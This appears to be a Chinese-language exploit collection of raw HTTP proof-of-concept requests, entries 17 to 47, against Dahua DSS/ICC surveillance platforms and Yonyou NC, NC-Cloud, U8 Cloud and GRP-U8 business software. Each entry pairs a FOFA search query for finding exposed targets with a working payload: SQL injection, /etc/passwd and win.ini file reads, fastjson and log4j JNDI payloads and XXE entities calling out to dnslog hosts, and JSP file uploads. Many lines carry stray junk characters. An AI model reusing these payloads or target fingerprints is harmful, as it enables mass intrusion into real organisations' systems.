2 s4 _( s) p4 L) S9 C' d4 e6 P; MHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
( b: v! M" G, H( a  \Connection: close
Accept: */*
2 k% _- k, x4 d3 G( ?Accept-Language: en
5 m, ~$ S  b; t# |Accept-Encoding: gzip
( n$ v. f; N6 m

% g" S) `. P( u8 Z( [- u17. 大华 DSS itcBulletin SQL 注入
( e2 B( s8 L( }% QFOFA：app="dahua-DSS"
2 o4 c: x# U. oPOST /portal/services/itcBulletin?wsdl HTTP/1.1
Host: x.x.x.x
* n# ^3 p6 @& N' o7 H% XUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
+ ^3 [( x- [" [! `$ M1 \5 hConnection: close
Content-Length: 345
+ @  I+ P- I4 z& ?! H3 lAccept-Encoding: gzip
  o+ s  W5 H: V! T
( }# N2 o8 I# y. [<s11:Envelope xmlns:s11='http://schemas.xmlsoap.org/soap/envelope/'>
" K# }$ P. N( D2 o& \  {<s11:Body>
    <ns1:deleteBulletin xmlns:ns1='http://itcbulletinservice.webservice.dssc.dahua.com'>
$ A4 Q7 _" J0 Z8 P; m4 r) v      <netMarkings>
! j( ~3 [/ h7 P1 i8 R" y. R       (updatexml(1,concat(0x7e,md5(102103122),0x7e),1))) and (1=1
      </netMarkings>
    </ns1:deleteBulletin>
2 W  f& y2 h4 c4 Q) N  </s11:Body>
- S  d( t8 C3 k2 f</s11:Envelope>

$ f7 s, C' R/ e7 z2 f7 T
4 r% G% {; K4 C8 w5 v0 F18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
FOFA：app="dahua-DSS"
8 g8 u! u+ y3 D7 \- n% i* }GET /admin/cascade_/user_edit.action?id=1 HTTP/1.1
$ m( _; D: ?( OHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
! U$ W7 T  |6 O1 ~$ m9 f$ T" D3 a
$ X9 Z9 ^- c. e. e$ b

19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
FOFA：app="dahua-DSS"
5 }8 a1 U5 I5 w/ OGET /portal/attachment_clearTempFile.action?bean.RecId=1%27)%20AND%20EXTRACTVALUE(8841,CONCAT(0x7e,user(),0x7e))%20AND%20(%27mYhO%27=%27mYhO&bean.TabName=1 HTTP/1.1
Host:
, j0 Y' M2 O8 NUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
8 h. U# w& z; v  A" g& c7 ]( zAccept-Encoding: gzip, deflate
Accept: */*
% f- f! `7 c" K" S. ZConnection: keep-alive

' |& I2 D! ^% U# Y3 p5 M
20. 大华ICC智能物联综合管理平台任意文件读取
8 N; S: P3 ?# u/ A) XFOFA：body="*客户端会小于800*"
, q# p0 j0 t3 j4 G0 z2 R7 S. {& TGET /evo-apigw/evo-cirs/file/readPic?fileUrl=file:/etc/passwd HTTP/1.1
Host: x.x.x.x
+ }& Q% _" \3 Q$ X( y" PUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
2 y% L5 v. ^8 W- JConnection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
) l4 E* T$ ]/ i/ P* N
4 u. ?. m9 G2 K6 _" ]1 i
21. 大华ICC智能物联综合管理平台random远程代码执行
FOFA：icon_hash="-1935899595"
$ S! l( t" O3 ]2 b3 i; }5 bPOST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
Host: x.x.x.x
- i: x9 K4 i' q# S, XUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 161
Accept-Encoding: gzip
  y7 I$ k% X( U$ p" Q2 bConnection: close
Content-Type: application/json;charset=utf-8
4 \4 P$ \3 F  K
% q+ I+ [# f" x  L+ O* L& q{
0 @/ Q+ v) p) D  I"a":{
   "@type":"com.alibaba.fastjson.JSONObject",
    {"@type":"java.net.URL","val":"http://farr9frh.dnslog.pw"}
; O. |. \' H- b+ f; R% x) ^! Z. Q  }""
}

0 r2 j: ]) R: u1 Y. E
22. 大华ICC智能物联综合管理平台 log4j远程代码执行
7 Z$ l2 i. o* e8 \FOFA：icon_hash="-1935899595"
POST /evo-apigw/evo-brm/1.2.0/user/is-exist HTTP/1.1
Host: your-ip
2 p7 [. r8 V, j  Q- m! F) wUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
, f" w, L# ]! U  {7 Z; U2 xContent-Type: application/json;charset=utf-8

. w; e/ D7 {" o! m5 }{
"loginName":"${jndi:ldap://dnslog}"
}


3 }- |- F) R1 b/ o9 [& K0 K$ x
23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
FOFA：icon_hash="-1935899595"
POST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
7 L6 _( V' m: P# {Host: your-ip
2 i) W2 Y9 |" w' d% \) {4 jUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
3 k: \7 N& Z, m3 g) B5 e! N" u; T# YContent-Type: application/json;charset=utf-8
Accept-Encoding: gzip
. s8 e9 r8 s' J3 j4 k5 s6 L# RConnection: close
  V# C! W6 K+ J0 [" M$ i: W" I
; k+ Y) L* H3 E% W; E2 z# d- M9 L{
' }. G8 S6 S' F# i2 [4 ]    "a":{
* q2 b. B. a8 G# x. z0 `        "@type":"com.alibaba.fastjson.JSONObject",
, W2 ?6 ]2 X0 N8 f$ J       {"@type":"java.net.URL","val":"http://DNSLOG"}
. A! c- s7 m- w+ d2 ]- Q        }""
) \0 D* U7 R/ ?9 u. W2 z. V* P}
; D4 N2 Q- o; l& i

" C- f, d: b, {7 U5 r24. 用友NC 6.5 accept.jsp任意文件上传
4 z9 W) @. U  K& ~FOFA：icon_hash="1085941792"
POST /aim/equipmap/accept.jsp HTTP/1.1
: a! p  m$ Q$ x) i2 t- OHost: x.x.x.x
User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
Connection: close
1 j- p; N5 R, y( m' }Content-Length: 449
Accept: */*
4 ~: Y$ e: g" o' Q( T9 K, J9 tAccept-Encoding: gzip
Content-Type: multipart/form-data; boundary=---------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
; W" I; K/ `7 U2 k/ q: a! Q
-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
Content-Disposition: form-data; name="upload"; filename="2XpU7VbkFeTFZZLbSMlVZwJyOxz.txt"
Content-Type: text/plain
9 l4 Z$ r& z  J% I" m$ b
<% out.println("2XpU7Y2Els1K9wZvOlSmrgolNci"); %>
2 k& c$ I2 }1 ^: V- r-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
0 ]$ q- C7 u5 D* ]/ g1 s8 [4 mContent-Disposition: form-data; name="fname"

, N3 G3 O# s, k& c# H' O6 O\webapps\nc_web\2XpU7WZCxP3YJqVaC0EjlHM5oAt.jsp
-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc--

. y9 h  \( Z/ n: z  o; g( y! o
25. 用友NC registerServlet JNDI 远程代码执行
FOFA：app="用友-UFIDA-NC"
8 C4 U2 F8 `! `7 W2 v. y# |5 RPOST /portal/registerServlet HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
+ u& z: ^5 v/ N. Y% AAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*; q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh,en-US;q=0.9,en-GB;q=0.8,en;q=0.7,zh-CN;q=0.6
& G# z+ I$ x2 i! ?. a( iContent-Type: application/x-www-form-urlencoded
7 C4 A$ D: M, ?. w8 Y% i3 M
type=1&dsname=ldap://dnslog


% N, \( P1 `8 k" p, d/ f; e# ~7 P6 U
26. 用友NC linkVoucher SQL注入
) Z" b8 F5 s% |4 W! c; QFOFA：app="用友-UFIDA-NC"
GET /portal/pt/yercommon/linkVoucher?pageId=login&pkBill=1'waitfor+delay+'0:0:5'-- HTTP/1.1
" U% B. X& P9 a" ^) ~: e+ B# gHost: your-ip
' ?! O% d' l" d; Y8 Y8 IUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
- B  A" n3 F; z6 k; B+ x6 cAccept: */*
Connection: keep-alive


/ ]8 M, t# m7 g+ R) W* n' e6 @, U27. 用友 NC showcontent SQL注入
- s1 X0 X8 R2 l# LFOFA：icon_hash="1085941792"
GET /ebvp/infopub/showcontent?id=1'+AND+1=DBMS_PIPE.RECEIVE_MESSAGE(1,5)-- HTTP/1.1
) i. B1 v: s- K2 p' Z6 |Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
$ x7 Y  R* u( \9 kAccept-Encoding: identity
Connection: close
9 ?/ B5 w3 `4 V* FContent-Type: text/xml; charset=utf-8


; z$ B+ q4 [; ?. i+ j2 ]28. 用友NC grouptemplet 任意文件上传
FOFA：icon_hash="1085941792"
POST /uapim/upload/grouptemplet?groupid=nc&fileType=jsp HTTP/1.1
Host: x.x.x.x
6 {0 n6 |( ~3 X* I* C" j3 BUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
Connection: close
/ L6 g& w& P. H8 ]9 `Content-Length: 268
Content-type: multipart/form-data; boundary=----------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
Accept-Encoding: gzip

------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
Content-Disposition: form-data; name="upload"; filename="2fiu0YTGkaX2DrJlUZZP5IGvNvk.jsp"
Content-Type: application/octet-stream
: B& u4 {' t, @& {* I9 B
<%out.println("2fiu0WM4788fa6NcMHipkIthTTW");%>
------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk--
( K! g9 ^8 \, R1 |1 C
" m! p1 \" s0 D3 R
/uapim/static/pages/nc/head.jsp
4 I# H7 g# p9 ]
- o3 G: m) r% A" Q$ `( m/ K) ]29. 用友NC down/bill SQL注入
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
GET /portal/pt/erfile/down/bill?pageId=login&id=1'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
8 h* U9 G# ~0 w8 oHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
- ]5 u) q% ~0 D. E" l& ?Accept-Encoding: gzip, deflate
Accept: */*
9 t: s0 k8 ?* WConnection: keep-alive

: V0 v2 @4 F& U! R% x; D
30. 用友NC importPml SQL注入
! e% E! K+ `) s5 q7 X4 |" r, H0 y  _FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
POST /portal/pt/portalpage/importPml?pageId=login&billitem=1'WAITFOR+DELAY+'0:0:5'-- HTTP/1.1
Host: your-ip
6 m" i9 O0 \$ b% b+ O5 q, Y1 B+ B3 tContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryH970hbttBhoCyj9V
  w$ i9 v: o9 n6 t) |) q/ |User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Connection: close
+ o! a$ ]- k& `
8 N2 T0 s- L) b" e  |$ H) v2 b) r------WebKitFormBoundaryH970hbttBhoCyj9V
Content-Disposition: form-data; name="Filedata"; filename="1.jpg"
& k, K) `, J, v# I8 c/ {Content-Type: image/jpeg
------WebKitFormBoundaryH970hbttBhoCyj9V--

' c+ |# W) @) D1 J1 M
31. 用友NC runStateServlet SQL注入
3 H. E/ G# {7 R9 V8 L$ Zversion<=6.5
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
GET /portal/pt/servlet/runStateServlet/doPost?pageId=login&proDefPk=1'waitfor+delay+'0:0:5'-- HTTP/1.1
: s" S# U" C8 Z8 o: {8 t5 kHost: host
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Type: application/x-www-form-urlencoded

2 S; c; J1 _; |6 y, P3 G  @
+ n6 Z3 B' |6 }4 [32. 用友NC complainbilldetail SQL注入
version= NC633、NC65
3 d) @2 ?; h2 L' f' B# e, z5 }FOFA：app="用友-UFIDA-NC"
GET /ebvp/advorappcoll/complainbilldetail?pageId=login&pk_complaint=1'waitfor+delay+'0:0:5'-- HTTP/1.1
7 m: R% M5 i% [$ Z5 B! x2 {Host: your-ip
7 D+ @2 q7 B( D  J! aUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
: C0 O+ t8 ^' e+ _0 p6 b6 `Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
3 H& {" [! v5 f" b' vConnection: keep-alive
% ^# m* f0 U9 X$ N

33. 用友NC downTax/download SQL注入
2 z9 Q: b% W3 @/ W2 _version：NC6.5FOFA：app="用友-UFIDA-NC"
: O6 o* f$ a! B+ y2 jGET /portal/pt/downTax/download?pageId=login&classid=1'waitfor+delay+'0:0:5'-- HTTP/1.1
0 s8 V4 N2 ]2 ~+ y$ y8 SHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
! C# X6 m0 Q8 U5 mAccept-Encoding: gzip, deflate
Accept: */*
  A9 E# N$ f! R! C4 {Connection: keep-alive

/ e& b0 J( L3 c  A0 Z% q1 [3 `
- q1 ]9 s. l: g1 d5 ^. m34. 用友NC warningDetailInfo接口SQL注入
FOFA：app="用友-UFIDA-NC"
GET /ebvp/infopub/warningDetailInfo?pageId=login&pkMessage=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
- i% o9 X# d' b8 }$ lContent-Type: application/x-www-form-urlencoded
7 h2 e, x/ R( ?Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

( ?$ e( b2 w7 f5 {
) ]" k- z1 n, I35. 用友NC-Cloud importhttpscer任意文件上传
  S+ n) E% y+ }6 U$ pFOFA：app="用友-NC-Cloud"
POST /nccloud/mob/pfxx/manualload/importhttpscer HTTP/1.1
- v; j$ q5 d' G* z1 ~Host: 203.25.218.166:8888
; m* G( ^  j$ C" |+ [' F  uUser-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
Accept-Encoding: gzip, deflate
Accept: */*
6 p  V( B' J5 aConnection: close
accessToken: eyJhbGciOiJIUzUxMiJ9.eyJwa19ncm91cCI6IjAwMDE2QTEwMDAwMDAwMDAwSkI2IiwiZGF0YXNvdXJjZSI6IjEiLCJsYW5nQ29kZSI6InpoIiwidXNlclR5cGUiOiIxIiwidXNlcmlkIjoiMSIsInVzZXJDb2RlIjoiYWRtaW4ifQ.XBnY1J3bVuDMYIfPPJXb2QC0Pdv9oSvyyJ57AQnmj4jLMjxLDjGSIECv2ZjH9DW5T0JrDM6UHF932F5Je6AGxA
% C5 O) w- i3 I( g4 qContent-Length: 190
4 b! `. x1 v# W: E! h% wContent-Type: multipart/form-data; boundary=fd28cb44e829ed1c197ec3bc71748df0

& N' i) F* N3 z% K--fd28cb44e829ed1c197ec3bc71748df0
Content-Disposition: form-data; name="file"; filename="./webapps/nc_web/1.jsp"
& A0 u! k9 n% D
<%out.println(1111*1111);%>
6 ?) c2 q) E1 U' j--fd28cb44e829ed1c197ec3bc71748df0--

2 s8 h) N0 D/ \' z+ Z9 f; m
5 f, |' n! Q3 O+ R8 b5 \36. 用友NC-Cloud soapFormat XXE
4 u* g( k0 g& [( ]4 l0 t1 xFOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
POST /uapws/soapFormat.ajax HTTP/1.1
Host: 192.168.40.130:8989
) F/ W5 h9 a7 TUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Content-Length: 263
. Z: J$ Y& Y0 I6 QAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
5 Q, b1 S6 }* r7 C/ sAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
( n+ D( d/ r/ [+ P0 ~Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
8 C9 v! Y  L6 [0 f1 t0 v
msg=<!DOCTYPE foo[<!ENTITY xxe1two SYSTEM "file:///C://windows/win.ini"> ]><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><soap:Fault><faultcode>soap:Server%26xxe1two%3b</faultcode></soap:Fault></soap:Body></soap:Envelope>%0a
7 ^5 F- [- J0 Y3 ?  R
9 F: e& U6 W9 ~3 J2 b- i7 z
# |7 w7 H5 D" u: k- H0 D$ G* k37. 用友NC-Cloud IUpdateService XXE
  E  w2 Q7 `; ~5 d) HFOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
  x( Z- t  f, Y# w( t9 D: nPOST /uapws/service/nc.uap.oba.update.IUpdateService HTTP/1.1
Host: 192.168.40.130:8989
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
9 E3 L0 Z3 p9 }8 _: f$ jContent-Length: 421
. v6 x- Y- O0 U% e( cAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
. q, ^8 _& c+ k- c* l) q+ jContent-Type: text/xml;charset=UTF-8
( p' U0 `3 n% ~9 k' U, eSOAPAction: urn:getResult
Upgrade-Insecure-Requests: 1
' q$ S/ Y% U' c8 V( R$ A8 d
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:iup="http://update.oba.uap.nc/IUpdateService">
) ^3 b  o/ y; E9 V4 k9 D2 e. F3 J# b<soapenv:Header/>
<soapenv:Body>
<iup:getResult>
<!--type: string-->
<iup:string><![CDATA[
<!DOCTYPE xmlrootname [<!ENTITY % aaa SYSTEM "http://c2vkbwbs.dnslog.pw">%aaa;%ccc;%ddd;]>
<xxx/>]]></iup:string>
* [# m& H" r0 j: D+ Q</iup:getResult>
0 m5 |- j0 t- v" U" Y1 D</soapenv:Body>
</soapenv:Envelope>
3 x, O$ v5 V4 p# R* v


$ F( H- ~4 v4 P, j2 }38. 用友U8 Cloud smartweb2.RPC.d XXE
& u) @( G" k# S  ^. VFOFA：app="用友-U8-Cloud"
POST /hrss/dorado/smartweb2.RPC.d?__rpc=true HTTP/1.1
6 \( X+ U* g' q8 F2 v3 FHost: 192.168.40.131:8088
; z6 m# K& p- s) OUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/12.0 Safari/1200.1.25
; w9 R/ S8 U! X! ^Content-Length: 260
' F1 J9 _! D3 b6 oAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
: |5 s* p# ~2 z# UAccept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded

__viewInstanceId=nc.bs.hrss.rm.ResetPassword~nc.bs.hrss.rm.ResetPasswordViewModel&__xml=<!DOCTYPE z [<!ENTITY Password SYSTEM "file:///C://windows//win.ini" >]><rpc transaction="10" method="resetPwd"><vps><p name="__profileKeys">%26Password;</p ></vps></rpc>

$ M: {; P: [2 z
7 y2 I- p4 d8 {39. 用友U8 Cloud RegisterServlet SQL注入
( p/ w& |- u0 g8 Z3 j% HFOFA：title="u8c"
5 {- [4 p8 F' [0 pPOST /servlet/RegisterServlet HTTP/1.1
" Y" i* \+ m7 d1 E' n4 W+ U$ ZHost: 192.168.86.128:8089
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
Connection: close
) J/ h3 \( }  m6 Q7 mContent-Length: 85
Accept: */*
Accept-Language: en
0 u$ R/ H. b8 a0 o, u. @Content-Type: application/x-www-form-urlencoded
) b1 |  ^' f4 GX-Forwarded-For: 127.0.0.1
% m+ {. g8 R- l8 aAccept-Encoding: gzip

; T* Q2 ~8 b& F/ {4 P7 v: ]. Rusercode=1' and substring(sys.fn_sqlvarbasetostr(HashBytes('MD5','123456')),3,32)>0--
/ u/ `3 T1 k7 s4 Y: f

40. 用友U8-Cloud XChangeServlet XXE
FOFA：app="用友-U8-Cloud"
0 B, T0 l7 t0 H, F+ e) q9 zPOST /service/XChangeServlet HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
" m( y! U/ `, y( \- AContent-Type: text/xml
& H; Z0 H; F! p, y& i% U3 sConnection: close

<!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY xxe SYSTEM "http://farr9frh.dnslog.pw">]><r><a>&xxe;</a ></r>

1 B8 i" q2 y( O/ A) P/ K5 C
41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
FOFA：app="用友-U8-Cloud"
& l0 P2 N3 v% ~, |2 O, O6 _8 lGET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iufo.query.measurequery.MeasureQueryByToolAction&method=execute&query_id=1%27);WAITFOR+DELAY+%270:0:5%27--+ HTTP/1.1
! n: ]$ \" ~* q$ B8 w1 hHost:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
" u# L2 W. ~. a! I3 y  Y- y4 O0 _5 D% ]Content-Type: application/json
* s( r7 J+ V* E" E# v  ?- gAccept-Encoding: gzip
5 X+ a5 ]5 f* r$ V5 }8 uConnection: close
: k3 u, S- ~9 \, L5 @2 o0 Y

, r' ?9 y0 G3 v8 |" r! e( @; x42. 用友GRP-U8 SmartUpload01 文件上传
FOFA：app="用友-GRP-U8"
9 `. }1 M2 B; p' u% K; q  TPOST /u8qx/SmartUpload01.jsp HTTP/1.1
" t& R- h# v. DHost: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzhvrkrqt
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36

! Z- G( w: E5 o! I  k& e+ p5 qPAYLOAD
( d& q8 u5 t  x& y& L

http://x.x.x.x/jatoolsreport?file=/1.pdf&as=dhtml
' c: B, d7 m+ c2 G$ Q1 W+ v/ i5 o
43. 用友GRP-U8 userInfoWeb SQL注入致RCE
FOFA：app="用友-GRP-U8"
! J/ |8 i: n( K: ?# u4 E# ?& H. `) CPOST /services/userInfoWeb HTTP/1.1
Host: your-ip
, K, w1 k6 m7 kUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
$ o8 p  |) d( sAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
% T3 V( [( p" R7 z! UAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
. r9 c4 I. ^/ y9 ~: j! G* K9 F9 dConnection: close
# j3 a$ P; W) ^SOAPAction:
8 S. N4 n0 r7 l" B7 m0 x0 CContent-Type: text/xml;charset=UTF-8

+ `* p; q( L& H" a9 V3 n  K. n. \<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ser="http://service.pt.midas.ufgov.com">
1 ~+ l5 I7 a- d, t8 r   <soapenv:Header/>
   <soapenv:Body>
      <ser:getUserNameById soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
- [- i2 t7 i8 \2 X, L+ H: r7 ^         <userId xsi:type="soapenc:string" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">';waitfor delay '0:0:5'--</userId>
5 x) y; n: x) j, s6 h# a1 I      </ser:getUserNameById>
1 y* `; c. m' r5 L   </soapenv:Body>
</soapenv:Envelope>
0 z' ?+ \" g: {1 F
6 _, y0 j4 h# U6 H, ^  }
2 F& Y5 S. \$ o% N" ^5 [3 e44. 用友GRP-U8 bx_dj_check.jsp SQL注入
' q' a, @. w4 E/ l; R- t$ {6 lFOFA:app="用友-GRP-U8"
! G& Q: X. @% u. d2 z6 qGET /u8qx/bx_dj_check.jsp?djlxdm=OER&djid=1';waitfor+delay+'0:0:5'-- HTTP/1.1
: S# z' G+ l$ Z! L/ dHost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
+ d  p# J' L; m1 F3 JAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
8 K9 ]3 J% M) R/ gConnection: close


45. 用友GRP-U8 ufgovbank XXE
FOFA：app="用友-GRP-U8"
/ h6 k& f; j$ P/ ~% a! O, gPOST /ufgovbank HTTP/1.1
3 U  o6 C) l% O% e0 T) b  D, EHost: 192.168.40.130:222
' f3 f4 U" F3 j+ ?% L" ^( R8 JUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
3 P) M% g" h8 Y# X" fConnection: close
Content-Length: 161
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
: e5 i( \4 L( m. BContent-Type: application/x-www-form-urlencoded
. _/ N& O  K6 o7 TAccept-Encoding: gzip
; M2 n  I/ `1 l' h
/ q3 @7 j8 X# ~1 |3 J7 X# ureqData=<?xml version="1.0"?>
<!DOCTYPE foo SYSTEM "http://c2vkbwbs.dnslog.pw">&signData=1&userIP=1&srcFlag=1&QYJM=0&QYNC=adaptertest


46. 用友GRP-U8 sqcxIndex.jsp SQL注入
FOFA：app="用友-GRP-U8"
0 V$ {8 E$ m. }% d" UGET /u8qx/sqcxIndex.jsp?key=1');+waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
# @0 L. n; @6 j+ A- e: \. ~User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
( i2 Q8 b+ \% F7 @5 {& N) pAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
  c, R9 e1 f% H& |Accept-Encoding: gzip, deflate
( y9 T0 B1 K( [9 Z3 X! E. \Accept-Language: zh-CN,zh;q=0.9
+ ]4 c3 M1 r4 l" F8 {: PConnection: close


47. 用友GRP A++Cloud 政府财务云 任意文件读取
- ~# d  |  e2 f* J0 d% QFOFA：body="/pf/portal/login/css/fonts/style.css"
GET /ma/emp/maEmp/download?fileName=../../../etc/passwdHTTP/1.1
Host: x.x.x.x
3 c* k' t# Y/ _- T! ]6 eCache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
